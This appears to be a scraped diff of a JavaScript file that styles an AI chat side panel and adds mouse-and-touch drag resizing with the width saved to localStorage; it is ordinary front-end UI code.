#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333;flex-wrap:wrap}
|
||||||
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center}
|
#ht-ai-header strong{flex-shrink:0}
|
||||||
|
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto}
|
||||||
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
|
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
|
||||||
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
|
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
|
||||||
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
|
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
|
||||||
@ -367,8 +384,10 @@
|
|||||||
::selection{background:#ffeb3b;color:#000}
|
::selection{background:#ffeb3b;color:#000}
|
||||||
::-moz-selection{background:#ffeb3b;color:#000}
|
::-moz-selection{background:#ffeb3b;color:#000}
|
||||||
/* NEW: resizer handle */
|
/* NEW: resizer handle */
|
||||||
#ht-ai-resizer{position:absolute;left:0;top:0;width:6px;height:100%;cursor:ew-resize;background:transparent}
|
#ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:rgba(255,255,255,.08);border-right:1px solid rgba(255,255,255,.15);transition:background .2s ease}
|
||||||
#ht-ai-resizer:hover{background:rgba(255,255,255,.05)}`;
|
#ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)}
|
||||||
|
#ht-ai-resizer:active{background:rgba(255,255,255,.25)}
|
||||||
|
#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`;
|
||||||
const s = document.createElement("style");
|
const s = document.createElement("style");
|
||||||
s.id = "ht-ai-style";
|
s.id = "ht-ai-style";
|
||||||
s.textContent = css;
|
s.textContent = css;
|
||||||
@ -432,24 +451,43 @@
|
|||||||
|
|
||||||
const onMove = (e) => {
|
const onMove = (e) => {
|
||||||
if (!dragging) return;
|
if (!dragging) return;
|
||||||
const dx = startX - e.clientX; // dragging leftwards ⇒ +dx
|
e.preventDefault();
|
||||||
|
const clientX = e.clientX || (e.touches && e.touches[0].clientX);
|
||||||
|
const dx = startX - clientX; // dragging leftwards ⇒ +dx
|
||||||
let newW = startW + dx;
|
let newW = startW + dx;
|
||||||
newW = Math.min(Math.max(newW, MIN_W), MAX_W);
|
newW = Math.min(Math.max(newW, MIN_W), MAX_W);
|
||||||
panel.style.width = newW + "px";
|
panel.style.width = newW + "px";
|
||||||
};
|
};
|
||||||
|
|
||||||
const onUp = () => {
|
const onUp = () => {
|
||||||
if (!dragging) return;
|
if (!dragging) return;
|
||||||
dragging = false;
|
dragging = false;
|
||||||
|
handle.style.background = "";
|
||||||
|
document.body.style.userSelect = "";
|
||||||
|
document.body.style.cursor = "";
|
||||||
localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10));
|
localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10));
|
||||||
document.removeEventListener("mousemove", onMove);
|
document.removeEventListener("mousemove", onMove);
|
||||||
document.removeEventListener("mouseup", onUp);
|
document.removeEventListener("mouseup", onUp);
|
||||||
|
document.removeEventListener("touchmove", onMove);
|
||||||
|
document.removeEventListener("touchend", onUp);
|
||||||
};
|
};
|
||||||
handle.addEventListener("mousedown", (e) => {
|
|
||||||
|
const onStart = (e) => {
|
||||||
|
e.preventDefault();
|
||||||
dragging = true;
|
dragging = true;
|
||||||
startX = e.clientX;
|
startX = e.clientX || (e.touches && e.touches[0].clientX);
|
||||||
startW = parseInt(window.getComputedStyle(panel).width, 10);
|
startW = parseInt(window.getComputedStyle(panel).width, 10);
|
||||||
|
handle.style.background = "rgba(255,255,255,.25)";
|
||||||
|
document.body.style.userSelect = "none";
|
||||||
|
document.body.style.cursor = "ew-resize";
|
||||||
|
|
||||||
document.addEventListener("mousemove", onMove);
|
document.addEventListener("mousemove", onMove);
|
||||||
document.addEventListener("mouseup", onUp);
|
document.addEventListener("mouseup", onUp);
|
||||||
});
|
document.addEventListener("touchmove", onMove, { passive: false });
|
||||||
|
document.addEventListener("touchend", onUp);
|
||||||
|
};
|
||||||
|
|
||||||
|
handle.addEventListener("mousedown", onStart);
|
||||||
|
handle.addEventListener("touchstart", onStart, { passive: false });
|
||||||
}
|
}
|
||||||
})();
|
})();
|
||||||
|
Loading…
x
Reference in New Issue
Block a user